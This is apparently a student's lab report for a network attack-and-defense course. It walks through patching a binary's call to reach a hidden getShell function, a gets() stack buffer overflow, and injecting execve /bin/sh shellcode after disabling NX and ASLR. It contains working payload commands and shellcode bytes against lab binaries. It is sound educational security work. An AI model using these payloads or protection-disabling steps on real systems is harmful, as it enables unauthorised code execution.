20222409 2024-2025-1 《网络与系统攻防技术》实验一实验报告

news/2024/10/11 18:23:27

1.实验内容

1.1逆向工程与汇编基础:

掌握了汇编指令(如NOP、JMP等)在控制程序流中的作用。
学会使用objdump反汇编可执行文件,并通过十六进制编辑器修改机器码以改变程序执行流程。

1.2缓冲区溢出(Buffer Overflow)原理:

了解堆栈结构和返回地址覆盖,理解如何通过超长输入覆盖返回地址来控制程序流。
利用无边界检查的输入函数(如gets())产生的漏洞,构造攻击Payload。

1.3Linux系统编程与调试:

使用gdb调试器分析程序运行状态,确定返回地址位置并验证攻击效果。
使用Linux命令行工具及perl脚本生成Payload

1.4Shellcode与代码注入:

理解Shellcode的构造与用途,利用NOP滑行区和返回地址组合实现注入攻击。
使用系统调用(如execve)在Shellcode中实现获取Shell等特定功能。

1.5系统防御机制与绕过技术:

掌握栈保护、数据执行保护(DEP/NX)、地址随机化(ASLR)等防御技术,并了解如何在实验中绕过这些保护措施。

2.实验过程

本次实验可以分为直接修改程序指令、利用缓冲区溢出漏洞进行攻击、注入并运行自定义Shellcode三个模块。使用的原件为pwn20222409,三个模块分别用原件的副本(分别命名为pwn20222409a、pwn20222409b、pwn20222409c)进行操作。

2.1直接修改程序指令

我们首先通过objdump反汇编目标文件pwn20222409a,定位到main函数中调用foo函数的call指令。接着,我们计算call指令目标地址偏移量,并手动将其修改为getShell函数的地址,从而使程序直接跳转到getShell函数运行。修改后,保存并验证文件,再次反汇编检查指令是否正确更改。最后,运行修改后的程序,成功触发getShell函数并获取到Shell,验证了手工修改机器指令能有效改变程序执行流。具体过程如下:

2.1.1反汇编程序

通过objdump工具将pwn1文件反汇编,查看其汇编代码:

objdump -d pwn20222409a | more

命令解释:

  • objdump 一个GNU工具,可以显示二进制文件的汇编代码。
  • -d 一个参数,表示对文件进行反汇编,将机器代码转化为汇编代码。
  • pwn20222409a 要反汇编的文件。
  • | more 表示将输出分页显示。

随后,找到找到getshell、foo和main函数,如图1所示。

图1: 反汇编结果显示的getShell、foo、main函数地址信息

汇编代码解释:

  • 080484af:第一列为内存地址,这里指main函数的起始地址。
  • e8 d7 ff ff ff:第二列为机器指令,这里指call指令。
  • call 8048491 :第三列为机器指令对应的汇编语言,这里指调用位于8048491的foo函数。

在图1白色高亮的部分(内容如下)可以看到,main函数调用了foo函数。

80484b5: e8 d7 ff ff ff        call   8048491 <foo>

2.1.2确定目标地址并计算偏移量

现在我们需要将main函数中的call foo改为调用getShell。首先,找到getShell的地址,而图1中有如下代码块:

0804847d <getShell>:804847d:    55                      push   %ebp``

在这里,我们找到了 getShell 函数的地址:0804847d。
我们需要修改 call foo 指令,使其跳转到该地址,计算偏移量如下:

  • 当前偏移量:8048491 - 80484ba = -41,补码为 d7ffffff。
  • 目标偏移量:804847d - 80484ba = -61,补码为 c3ffffff。

因此,将 d7ffffff 修改为 c3ffffff,即可将 call foo 跳转改为 call getShell。

2.1.3 修改机器指令

接下来,我们需要将call foo的机器码e8 d7 ff ff ff改为e8 c3 ff ff ff。这个操作可以通过vi编辑器来完成。我们可以使用以下代码进入编辑器:

vi pwn20222409a

进入编辑器后,用以下代码切换到十六进制模式并找到我们要修改的机器指令:

:%!xxd

命令解释:

  • :%!xxd 将文件显示为十六进制格式,方便我们直接看到机器码。
  • xxd 是一个十六进制查看和编辑工具,用于在vi中切换文件显示格式。

接着,用以下代码搜索指令e8 d7以找到call foo的位置:

/e8 d7

命令解释:

  • / 是vi中的搜索命令。
  • e8d7 是我们要找到的十六进制代码的前两个字节。

找到位置后,键盘敲击i进入insert模式,将d7改为c3。完成修改后,键盘敲击esc退出insert模式。
最后将文件切换回原格式并保存退出:

:%!xxd -r
:wq

命令解释:

  • :%!xxd -r 将文件切换回正常格式。
  • :wq 用于保存并退出编辑器。

2.1.4运行并验证修改

保存修改后,我们再次反汇编pwn1文件来检查是否修改成功:

objdump -d pwn20222409a | more

现在你应当能看到call指令目标已从foo变为getShell。我们接着用以下命令运行文件:

./pwn20222409a

如果操作正确,程序将直接跳转到getShell并打开一个Shell。输入简单命令(如ls),确认获得Shell权限。如图2所示,就意味着我们成功改变了程序的执行流!

图2:修改后程序成功执行getShell

而未经历修改的原件pwn20222409的执行结果为如图3所示:

图3:未修改的程序正常执行foo函数,不调用getShell

2.2利用缓冲区溢出漏洞进行攻击

首先通过分析程序结构找到foo函数中的gets()函数漏洞,该函数无长度检查,使得超长输入能够覆盖返回地址;接着,使用调试工具gdb确定返回地址的位置并计算溢出偏移量,然后通过构造特定格式的攻击Payload,将返回地址改写为目标函数getShell的地址,从而绕过正常执行流程,最终成功获得Shell。

2.2.1漏洞分析

在pwn20222409b程序中,main函数调用foo,foo中调用gets()读取用户输入并打印。函数执行完毕后会返回main,正常情况下不会执行隐藏的getShell函数。
然而,我们通过分析发现gets()没有对输入长度进行检查,因此可能导致缓冲区溢出攻击。利用这个漏洞,我们可以向程序输入超长字符串,进而覆盖foo函数的返回地址,使程序跳转到任意指定的代码片段,从而强制执行getShell函数。

2.2.2寻找缓冲区溢出位置

缓冲区溢出攻击的核心是覆盖返回地址。为此,我们首先需要确定溢出开始位置及覆盖返回地址所需的偏移量。
使用以下代码加载程序。

gdb pwn20222409b

使用以下命令在gdb中运行程序

(gdb) r

输入以下长字符串后按回车,观察EIP寄存器是否被覆盖:

2022240920222409202224092022240920222409

通过info r命令查看当前寄存器状态,判断EIP是否为我们输入的字符串内容,结果如图4白色高亮部分所示。

(gdb) info r


图4:通过 gdb 检测缓冲区溢出后 EIP 寄存器的值显示字符覆盖情况。
看到EIP值变为0x32323032,表示字符2、2、0、2,与字符串中的2022(最后一个)对应,说明在此偏移量上成功覆盖了返回地址,用exit命令退出gdb。

(gdb) exit

2.2.3构造攻击Payload

在定位到覆盖返回地址的位置后,我们可以开始构造攻击Payload,使返回地址指向getShell函数的内存地址。
由图1可知getshall的内存地址为0x0804847d,故只要把原长字符串(2022240920222409202224092022240920222409)中最后一个20222409替换成getShell的地址0x0804847d即可,即替换成字符串

20222409202224092022240920222409\x7d\x84\x04\x08

接着,我们可以使用如下的perl命令构造Payload,将getShell地址写入溢出的部分:

perl -e 'print "20222409202224092022240920222409\x7d\x84\x04\x08\x0a""' > input

命令解释:

  • perl -e '...':使用Perl解释器执行紧跟在-e后面的代码。
  • print "...":输出指定的字符串。这里字符串包括了填充字符20222409202224092022240920222409和地址\x7d\x84\x04\x08,其中\x0a是换行符,表示结束输入。
  • \x7d\x84\x04\x08:以小端字节序表示的getShell的内存地址
  • > input:将生成的字符串重定向到input文件中。

之后,会生成一个生成一个包含这些16进制内容的文件input。使用xxd工具检查生成的input文件,代码如下,结果如图5所示:

xxd input


图5:使用 xxd 工具查看构造的攻击 Payload 内容,确认格式是否正确。

2.2.4执行攻击并验证

有了攻击Payload后,我们通过将该Payload作为输入,验证程序是否可以通过溢出跳转到getShell函数。
我们可以使用管道将构造好的Payload注入到pwn20222409b程序中,代码如下:

(cat input; cat) | ./pwn20222409b

如果Payload成功跳转到getShell函数,程序应返回Shell提示符。可以通过输入系统命令(如ls)来确认是否成功。如图6所示,输入ls,展现了当前文件夹下所有文件,这表明缓冲区溢出成功覆盖了返回地址,并跳转到getShell函数执行。:

图6:缓冲区溢出成功执行 getShell 并获得 Shell 权限后的截图。

2.3注入并运行自定义Shellcode

首先,我们需要理解Shellcode的基本原理。Shellcode是一段直接用于执行特定任务的机器码。一般情况下,Shellcode的用途是获取一个交互式Shell以便控制目标系统。在本实验中,我们将使用一段简单的Shellcode,它的作用是在Linux系统上启动/bin/sh。以下是我们在实验中使用的Shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

2.3.1关闭防护机制

为了使Shellcode能成功执行,需要关闭一些系统保护机制,确保注入的代码可在栈上运行。

2.3.1.1设置堆栈为可执行

默认情况下,Linux系统会禁止在栈上执行代码(DEP/NX保护),因此我们需要使用execstack工具修改可执行文件以允许其在栈上运行代码,使用的命令如下:

sudo apt-get install execstack

命令解释:安装execstack工具。

execstack -s pwn20222409c

命令解释:为目标程序设置可执行堆栈。

可以使用的命令:

execstack -q pwn20222409c

命令解释:查询pwn20222409c文件当前的堆栈可执行状态。若设置成功,则输出结果应显示为 X pwn20222409c

2.3.1.2 关闭地址空间随机化(ASLR)

ASLR会随机化程序的内存地址,增加返回地址预测难度,为了实验,我们暂时关闭它,命令如下:

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space

命令解释:将ASLR设置为0,关闭地址随机化。

可以使用的命令:

more /proc/sys/kernel/randomize_va_space

命令解释:查看系统地址空间随机化(ASLR)的状态。

  • 如果输出为“0”,则表示关闭ASLR,即本实验最后预期的现象
  • 如果输出为“1”,则表示启用ASLR
  • 如果输出为“2”,则表示完全启用ASLR
  • 如果输出不是0,则需要关闭ASLR

2.3.2构造Payload

为了将Shellcode成功注入到目标程序,我们需要构造一个合适的Payload。Payload的主要结构为:前32字节填充NOP滑行区 + Shellcode + 返回地址。
构造并保存Payload的初步版本到文件input_shellcode_20222409中,先使用占位符代替返回地址,稍后调试确定实际的返回地址,代码如下:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode_20222409

命令解释:

  • \x90\x90\x90\x90\x90\x90:NOP滑行区
  • \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80:Shellcode,用于执行/bin/sh获取Shell。
  • \x90\x4\x3\x2\x1\x00:包含返回地址的占位符 \x4\x3\x2\x1,稍后会替换为Shellcode的实际地址。0x00用于标记字符串结束。
    输入以下命令注入Payload并运行pwn20222409c::
(cat input_shellcode_20222409; cat) | ./pwn20222409c

运行结果如图x所示:

图7:显示关闭 DEP/NX 防护,并使 pwn20222409c 栈可执行的操作结果。

2.3.3确定Shellcode地址并修改返回地址

在新的终端中找到目标程序的进程号,并使用GDB附加到该进程,命令如下,结果如图8所示:

ps -ef | grep pwn20222409c


图8:ps命令显示pwn20222409c的进程号
继续在新终端中,使用GDB附加到进程号为426551的pwn20222409c程序,以分析并找到Shellcode的确切位置,代码如下:

gdb pwn20222409c
attach 426551

继续在新终端中使用以下命令在返回指令处设置断点,并继续运行程序:

disassemble foo

运行结果如图9所示:

图9:GDB调试过程中设置foo函数返回地址断点
图9中ret的地址为0x080484ae,因此,在这里设置断点,使用的命令如下。

break *0x080484ae

键入c(continue)继续运行,随后在旧终端敲击enter,打断continue。

c

在新终端输入以下命令,查看栈顶指针的地址,找到Shellcode位置,为0xffffcfac:

info registers esp

使用以下命令在内存中查找该地址存放的内容,找到占位符0x04030201的位置,如图10所示。

x/16x 0xffffcfac


图10:通过ESP寄存器查看Shellcode的存放位置
Shellcode应在该地址加4的位置,此处为0xffffcfb0

2.3.4修改Payload的返回地址并注入

将占位符替换为确定的Shellcode起始地址0xffffcfb0,并使用小端格式进行表示。保存Payload到文件并重新注入。在旧窗口输入以下代码:

perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode_20222409
(cat input_shellcode_20222409; cat) | ./pwn20222409c

2.3.5验证结果

执行成功后,程序应跳转到Shellcode,并在Shell内执行,如图11所示。

图11:修改Payload返回地址后成功获取Shell的界面

3.问题及解决方案

  • 问题1:2.1.3中,输入/e8d7显示pattern not found,如图12所示。

    图12:十六进制编辑器中未找到指定的机器码模式
  • 问题1解决方案: 实际上要查找的是e8 d7,中间有空格,可以换成/e8 d7 或者/d7ff
  • 问题2:未安装gbd
  • 问题2解决方案:使用sudo apt update和sudo apt install gdb命令安装gdb
  • 问题3:想关闭 ASLR。但输入sudo echo 0 > /proc/sys/kernel/randomize_va_space时,系统都会显示zsh: permission denied: /proc/sys/kernel/randomize_va_space
  • 问题3解决:I/O 重定向>由当前 shell 处理。解释器将该命令视为 3 个部分:①sudo echo 0 ②> ③/proc/sys/kernel/randomize_va_space
    echo是使用超级用户权限执行的,而当前 shell(具有普通用户权限)尝试写入/proc/sys/kernel/randomize_va_space,就会由于权限不足触发Permission denied错误。只需使用超级用户权限运行 shell,并使用开关将命令传递给 shell -c,命令如下:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space

4.学习感悟、思考等

在这次实验中,我深入学习了缓冲区溢出和Shellcode注入的核心原理,通过逆向分析、反汇编以及直接修改机器指令,理解了如何精准地控制程序流。整个实验中,尤其是在定位返回地址、调整Payload以及调试Shellcode时,遇到许多反复试错的难题,每一步都需要细致的计算和耐心调试,充分体验到攻防实践的复杂性和艰辛。然而,随着各个部分逐步成功,最终获得Shell权限的成就感让我意识到攻防技术的魅力和挑战,也让我更加坚定了继续深耕网络安全的决心。

参考资料

  • 《How to turn off ASLR in Ubuntu 9.10 - linux》
  • 《vim does not find and replace simple phrase that is clearly present》
  • 《gdb 调试入门(一):Windows/Linux/Ubuntu 下安装 gdb》
  • 《【2024年最新版】Kali安装详细教程》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/70318.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

常见魔改UPX

几篇大佬的文章: https://cujo.com/blog/upx-anti-unpacking-techniques-in-iot-malware/ https://www.cnblogs.com/ichunqiu/p/7245329.html https://bbs.kanxue.com/thread-275753.htm https://www.52pojie.cn/forum.php?mod=viewthread&tid=326995 Header Structuresp_…

P3959 [NOIP2017 提高组] 宝藏 题解

P3959 [NOIP2017 提高组] 宝藏 题解 搜索魅力时刻 怎么说,四种做法比较??的模拟退火 跑得快但是 正确性有问题的 状压DP 跑得慢但是 一定正确的 状压 DP 时间复杂度很玄学的DFS+剪枝我就选择了搜索的做法 先打个暴搜,70pts点击查看暴搜代码 #include <bits/stdc++.h>…

AMIS低代码平台,前端开发常见问题(样式篇 图片配置)

关于样式问题在上篇中已经总结过了。 这篇主要说下关于图片的引入。1.页面上的图片引入。 (1)将图片放入apps\bmc\page\bmc-page-config\image目录下。 (2)在静态资源中引入,如下图: (3)在图片控件地址栏中引入也可以直接在地址栏中写入图片路径 2.背景图片的处理 对于…

coca after two months vs in two months

This is the third time in two months.这是两个月内的第三次了。Its the second time in two months Compton Power Equipment at 5375 Urbana Road has been broken into this way.这是两个月内第二次有人闯入厄巴纳路5375号的康普顿电力设备公司。You know, in two months t…

操作筛选器的 1 个应用实例:自动启用事务

在 Asp.Net Core Web API 中,我们可以使用操作筛选器给所有的数据库操作 API 加上事务控制,省心又省力,效果还很好前言 在数据库操作过程中,有一个概念是绕不开的,那就是事务。 事务能够确保一系列数据库操作要么全部成功提交,要么全部失败回滚,保证数据的一致性和完整性…

C# 线程---Thread1

1. thread 不带参数 (Main和Thread都在同步处理)(注意using static 和System.Console的使用)using static System.Console;namespace Recipe1 {class Program{static void Main(string[] args){Thread t = new Thread(PrintNumber);t.Start();PrintNumber();Read();}static…

解决 java.lang.VerifyError: Stack map does not match the one at exception

项目上用的liteflow,动态编译代码,在项目执行过程中报错如下: 拿到异常信息网上搜索,网上的说法如下: VM加载class文件时会做字节码校验(bytecode verification)。如果你的class文件是由java源文件通过javac编译出来的,那么基本上不用担心bytecode verification。 如果…